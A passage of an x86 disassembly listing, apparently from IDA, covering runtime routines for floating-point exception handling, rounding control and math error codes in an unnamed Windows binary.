		test	al, al
		jnz	short loc_4128DB
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_4128A1:				; CODE XREF: sub_4127EE+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_4128CB
		inc	ebx
		inc	eax
		jmp	short loc_4128A1
; ---------------------------------------------------------------------------


loc_4128AA:				; CODE XREF: sub_4127EE+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_4128BB
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_4128C4
; ---------------------------------------------------------------------------


loc_4128BB:				; CODE XREF: sub_4127EE+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_4128C4:				; CODE XREF: sub_4127EE+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_412901
; ---------------------------------------------------------------------------


loc_4128CB:				; CODE XREF: sub_4127EE+B6j
		cmp	eax, edx
		jnb	short loc_4128E2
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41290B
		mov	esi, ebx
		jmp	short loc_412889
; ---------------------------------------------------------------------------


loc_4128DB:				; CODE XREF: sub_4127EE+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_412889
; ---------------------------------------------------------------------------


loc_4128E2:				; CODE XREF: sub_4127EE+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_4128F3
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_4128FC
; ---------------------------------------------------------------------------


loc_4128F3:				; CODE XREF: sub_4127EE+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_4128FC:				; CODE XREF: sub_4127EE+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_412901:				; CODE XREF: sub_4127EE+40j
					; sub_4127EE+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41290D
; ---------------------------------------------------------------------------


loc_41290B:				; CODE XREF: sub_4127EE+7Ej
					; sub_4127EE+9Dj ...
		xor	eax, eax


loc_41290D:				; CODE XREF: sub_4127EE+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4127EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412912	proc near		; CODE XREF: sub_414008+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41294C
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_4129AC
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412912+26j
		jnb	short loc_4129B3
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_4129B3
		lea	eax, [ecx+edx]


loc_412961:				; CODE XREF: sub_412912+59j
		cmp	eax, esi
		jnb	short loc_41296F
		cmp	byte ptr [eax],	0
		jnz	short loc_41296D
		inc	eax
		jmp	short loc_412961
; ---------------------------------------------------------------------------


loc_41296D:				; CODE XREF: sub_412912+56j
		cmp	eax, esi


loc_41296F:				; CODE XREF: sub_412912+51j
		jnz	short loc_4129B3
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_4129A7
		cmp	esi, eax
		jbe	short loc_4129A7
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41299E
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_412999


loc_412992:				; CODE XREF: sub_412912+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_412992


loc_412999:				; CODE XREF: sub_412912+7Ej
		mov	[ebx+4], eax
		jmp	short loc_4129A7
; ---------------------------------------------------------------------------


loc_41299E:				; CODE XREF: sub_412912+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_4129A7:				; CODE XREF: sub_412912+68j
					; sub_412912+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_4129AC:				; CODE XREF: sub_412912+38j
		mov	[ebp+var_4], 1


loc_4129B3:				; CODE XREF: sub_412912:loc_41294Cj
					; sub_412912+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412912	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_4129BB(int,int,double,int)

sub_4129BB	proc near		; CODE XREF: sub_40EE62+51p
					; sub_40EFAB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_4248D8, 0
		jnz	short loc_4129F0
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_412F70
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4129F0:				; CODE XREF: sub_4129BB+Aj
		push	0FFFFh
		mov	dword_4BA284, 21h
		push	[ebp+arg_C]
		call	sub_4131E3
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4129BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_412A0E(int,int,double,double,int)

sub_412A0E	proc near		; CODE XREF: sub_40EE62:loc_40EF25p
					; sub_40EFAB:loc_40F06Ep

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D59
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_412A4C
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_412AA6
		add	esp, 18h


loc_412A4C:				; CODE XREF: sub_412A0E+1Aj
		push	[ebp+arg_0]
		call	sub_413043
		cmp	dword_4248D8, 0
		pop	ecx
		jnz	short loc_412A8A
		test	eax, eax
		jz	short loc_412A8A
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_412F70
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_412A8A:				; CODE XREF: sub_412A0E+4Ej
					; sub_412A0E+52j
		push	eax
		call	sub_412FF8
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4131E3
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_412A0E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412AA6	proc near		; CODE XREF: sub_412A0E+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_412AD8
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_412AD8:				; CODE XREF: sub_412AA6+23j
		test	cl, 2
		jz	short loc_412AEB
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_412AEB:				; CODE XREF: sub_412AA6+35j
		test	cl, bl
		jz	short loc_412AFD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_412AFD:				; CODE XREF: sub_412AA6+47j
		test	cl, 4
		jz	short loc_412B10
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_412B10:				; CODE XREF: sub_412AA6+5Aj
		test	cl, 8
		jz	short loc_412B23
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_412B23:				; CODE XREF: sub_412AA6+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4131C6
		test	al, bl
		jz	short loc_412BAC
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_412BAC:				; CODE XREF: sub_412AA6+FDj
		test	al, 4
		jz	short loc_412BB7
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_412BB7:				; CODE XREF: sub_412AA6+108j
		test	al, 8
		jz	short loc_412BC2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_412BC2:				; CODE XREF: sub_412AA6+113j
		test	al, 10h
		jz	short loc_412BCC
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_412BCC:				; CODE XREF: sub_412AA6+11Ej
		test	al, 20h
		jz	short loc_412BD6
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_412BD6:				; CODE XREF: sub_412AA6+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_412C15
		cmp	eax, 400h
		jz	short loc_412C07
		cmp	eax, 800h
		jz	short loc_412BFB
		cmp	eax, ecx
		jnz	short loc_412C1B
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_412C1B
; ---------------------------------------------------------------------------


loc_412BFB:				; CODE XREF: sub_412AA6+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_412C11
; ---------------------------------------------------------------------------


loc_412C07:				; CODE XREF: sub_412AA6+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_412C11:				; CODE XREF: sub_412AA6+15Fj
		mov	[eax], ecx
		jmp	short loc_412C1B
; ---------------------------------------------------------------------------


loc_412C15:				; CODE XREF: sub_412AA6+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_412C1B:				; CODE XREF: sub_412AA6+14Bj
					; sub_412AA6+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_412C46
		cmp	eax, 200h
		jz	short loc_412C39
		cmp	eax, ecx
		jnz	short loc_412C53
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_412C53
; ---------------------------------------------------------------------------


loc_412C39:				; CODE XREF: sub_412AA6+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_412C51
; ---------------------------------------------------------------------------


loc_412C46:				; CODE XREF: sub_412AA6+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_412C51:				; CODE XREF: sub_412AA6+19Ej
		mov	[eax], ecx


loc_412C53:				; CODE XREF: sub_412AA6+189j
					; sub_412AA6+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4131D4
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_41A15C	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_412CCD
		and	dword ptr [esi], 0FFFFFFFEh


loc_412CCD:				; CODE XREF: sub_412AA6+222j
		test	byte ptr [eax+8], 8
		jz	short loc_412CD6
		and	dword ptr [esi], 0FFFFFFFBh


loc_412CD6:				; CODE XREF: sub_412AA6+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_412CDF
		and	dword ptr [esi], 0FFFFFFF7h


loc_412CDF:				; CODE XREF: sub_412AA6+234j
		test	byte ptr [eax+8], 2
		jz	short loc_412CE8
		and	dword ptr [esi], 0FFFFFFEFh


loc_412CE8:				; CODE XREF: sub_412AA6+23Dj
		test	[eax+8], bl
		jz	short loc_412CF0
		and	dword ptr [esi], 0FFFFFFDFh


loc_412CF0:				; CODE XREF: sub_412AA6+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_412D24
		dec	ecx
		jz	short loc_412D18
		dec	ecx
		jz	short loc_412D0E
		dec	ecx
		jnz	short loc_412D26
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_412D26
; ---------------------------------------------------------------------------


loc_412D0E:				; CODE XREF: sub_412AA6+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_412D20
; ---------------------------------------------------------------------------


loc_412D18:				; CODE XREF: sub_412AA6+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_412D20:				; CODE XREF: sub_412AA6+270j
		mov	[esi], ecx
		jmp	short loc_412D26
; ---------------------------------------------------------------------------


loc_412D24:				; CODE XREF: sub_412AA6+257j
		and	[esi], edx


loc_412D26:				; CODE XREF: sub_412AA6+260j
					; sub_412AA6+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_412D46
		dec	ecx
		jz	short loc_412D3D
		dec	ecx
		jnz	short loc_412D4F
		and	[esi], edx
		jmp	short loc_412D4F
; ---------------------------------------------------------------------------


loc_412D3D:				; CODE XREF: sub_412AA6+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_412D4D
; ---------------------------------------------------------------------------


loc_412D46:				; CODE XREF: sub_412AA6+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_412D4D:				; CODE XREF: sub_412AA6+29Ej
		mov	[esi], ecx


loc_412D4F:				; CODE XREF: sub_412AA6+291j
					; sub_412AA6+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_412AA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D59	proc near		; CODE XREF: sub_412A0E+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_412D84
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_412D84
		push	ebx
		call	sub_413206
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_412F4E
; ---------------------------------------------------------------------------


loc_412D84:				; CODE XREF: sub_412D59+15j
					; sub_412D59+1Aj
		test	al, 4
		jz	short loc_412D9E
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_412D9E
		push	4
		call	sub_413206
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_412F4E
; ---------------------------------------------------------------------------


loc_412D9E:				; CODE XREF: sub_412D59+2Dj
					; sub_412D59+33j
		test	al, bl
		jz	loc_412E78
		test	byte ptr [ebp+arg_8], 8
		jz	loc_412E78
		push	8
		call	sub_413206
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_412E50
		cmp	ecx, 400h
		jz	short loc_412E28
		cmp	ecx, 800h
		jz	short loc_412E00
		cmp	ecx, eax
		jnz	loc_412E70
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41A440
		fld	dbl_4241B8
		fnstsw	ax
		sahf
		ja	short loc_412DF8
		fchs


loc_412DF8:				; CODE XREF: sub_412D59+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_412E6E
; ---------------------------------------------------------------------------


loc_412E00:				; CODE XREF: sub_412D59+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41A440
		fnstsw	ax
		sahf
		jbe	short loc_412E18
		fld	dbl_4241A8
		jmp	short loc_412E20
; ---------------------------------------------------------------------------


loc_412E18:				; CODE XREF: sub_412D59+B5j
		fld	dbl_4241B8
		fchs


loc_412E20:				; CODE XREF: sub_412D59+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_412E6E
; ---------------------------------------------------------------------------


loc_412E28:				; CODE XREF: sub_412D59+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41A440
		fnstsw	ax
		sahf
		jbe	short loc_412E40
		fld	dbl_4241B8
		jmp	short loc_412E48
; ---------------------------------------------------------------------------


loc_412E40:				; CODE XREF: sub_412D59+DDj
		fld	dbl_4241A8
		fchs


loc_412E48:				; CODE XREF: sub_412D59+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_412E6E
; ---------------------------------------------------------------------------


loc_412E50:				; CODE XREF: sub_412D59+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_41A440
		fld	dbl_4241A8
		fnstsw	ax
		sahf
		ja	short loc_412E68
		fchs


loc_412E68:				; CODE XREF: sub_412D59+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_412E6E:				; CODE XREF: sub_412D59+A5j
					; sub_412D59+CDj ...
		fstp	qword ptr [ecx]


loc_412E70:				; CODE XREF: sub_412D59+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_412F4E
; ---------------------------------------------------------------------------


loc_412E78:				; CODE XREF: sub_412D59+47j
					; sub_412D59+51j
		test	al, 2
		jz	loc_412F4E
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_412F4E
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_412E93
		mov	esi, ebx


loc_412E93:				; CODE XREF: sub_412D59+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_41A440
		fnstsw	ax
		sahf
		jz	loc_412F3C
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_413105
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_412EDE
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_412F32
; ---------------------------------------------------------------------------


loc_412EDE:				; CODE XREF: sub_412D59+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_41A440
		fnstsw	ax
		sahf
		jnb	short loc_412EF0
		mov	edx, ebx
		jmp	short loc_412EF2
; ---------------------------------------------------------------------------


loc_412EF0:				; CODE XREF: sub_412D59+191j
		xor	edx, edx


loc_412EF2:				; CODE XREF: sub_412D59+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_412F26
		sub	eax, ecx


loc_412F09:				; CODE XREF: sub_412D59+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_412F14
		test	esi, esi
		jnz	short loc_412F14
		mov	esi, ebx


loc_412F14:				; CODE XREF: sub_412D59+1B3j
					; sub_412D59+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_412F20
		or	byte ptr [ebp+var_C+3],	80h


loc_412F20:				; CODE XREF: sub_412D59+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_412F09


loc_412F26:				; CODE XREF: sub_412D59+1ACj
		test	edx, edx
		jz	short loc_412F32
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_412F32:				; CODE XREF: sub_412D59+183j
					; sub_412D59+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_412F3E
; ---------------------------------------------------------------------------


loc_412F3C:				; CODE XREF: sub_412D59+14Ej
		mov	esi, ebx


loc_412F3E:				; CODE XREF: sub_412D59+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_412F4B
		push	10h
		call	sub_413206
		pop	ecx


loc_412F4B:				; CODE XREF: sub_412D59+1E8j
		and	edi, 0FFFFFFFDh


loc_412F4E:				; CODE XREF: sub_412D59+26j
					; sub_412D59+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_412F65
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_412F65
		push	20h
		call	sub_413206
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_412F65:				; CODE XREF: sub_412D59+1F9j
					; sub_412D59+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_412D59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_412F70(int,int,int,int,int,int,double,int)

sub_412F70	proc near		; CODE XREF: sub_4129BB+2Bp
					; sub_412A0E+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41301E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_412FDB
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_4131E3
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B17
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_412FD5
		push	esi
		call	sub_412FF8
		pop	ecx


loc_412FD5:				; CODE XREF: sub_412F70+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_412FDB:				; CODE XREF: sub_412F70+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_4131E3
		push	[ebp+arg_0]
		call	sub_412FF8
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_412F70	endp


; =============== S U B	R O U T	I N E =======================================



sub_412FF8	proc near		; CODE XREF: sub_412A0E+7Dp
					; sub_412F70+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_413013
		jle	short locret_41301D
		cmp	eax, 3
		jg	short locret_41301D
		mov	dword_4BA284, 22h
		retn
; ---------------------------------------------------------------------------


loc_413013:				; CODE XREF: sub_412FF8+7j
		mov	dword_4BA284, 21h

locret_41301D:				; CODE XREF: sub_412FF8+9j
					; sub_412FF8+Ej
		retn
sub_412FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41301E	proc near		; CODE XREF: sub_412F70+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_4240D0


loc_413025:				; CODE XREF: sub_41301E+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41303B
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_4241A8
		jl	short loc_413025
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41303B:				; CODE XREF: sub_41301E+Dj
		mov	eax, off_4240D4[ecx*8]
		retn
sub_41301E	endp


; =============== S U B	R O U T	I N E =======================================



sub_413043	proc near		; CODE XREF: sub_412A0E+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41304F
		push	5
		jmp	short loc_413065
; ---------------------------------------------------------------------------


loc_41304F:				; CODE XREF: sub_413043+6j
		test	al, 8
		jz	short loc_413057
		push	1
		jmp	short loc_413065
; ---------------------------------------------------------------------------


loc_413057:				; CODE XREF: sub_413043+Ej
		test	al, 4
		jz	short loc_41305F
		push	2
		jmp	short loc_413065
; ---------------------------------------------------------------------------


loc_41305F:				; CODE XREF: sub_413043+16j
		test	al, 1
		jz	short loc_413067
		push	3


loc_413065:				; CODE XREF: sub_413043+Aj
					; sub_413043+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_413067:				; CODE XREF: sub_413043+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_413043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_413070(double)

sub_413070	proc near		; CODE XREF: sub_40EE62:loc_40EEE8p
					; sub_40EFAB:loc_40F031p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
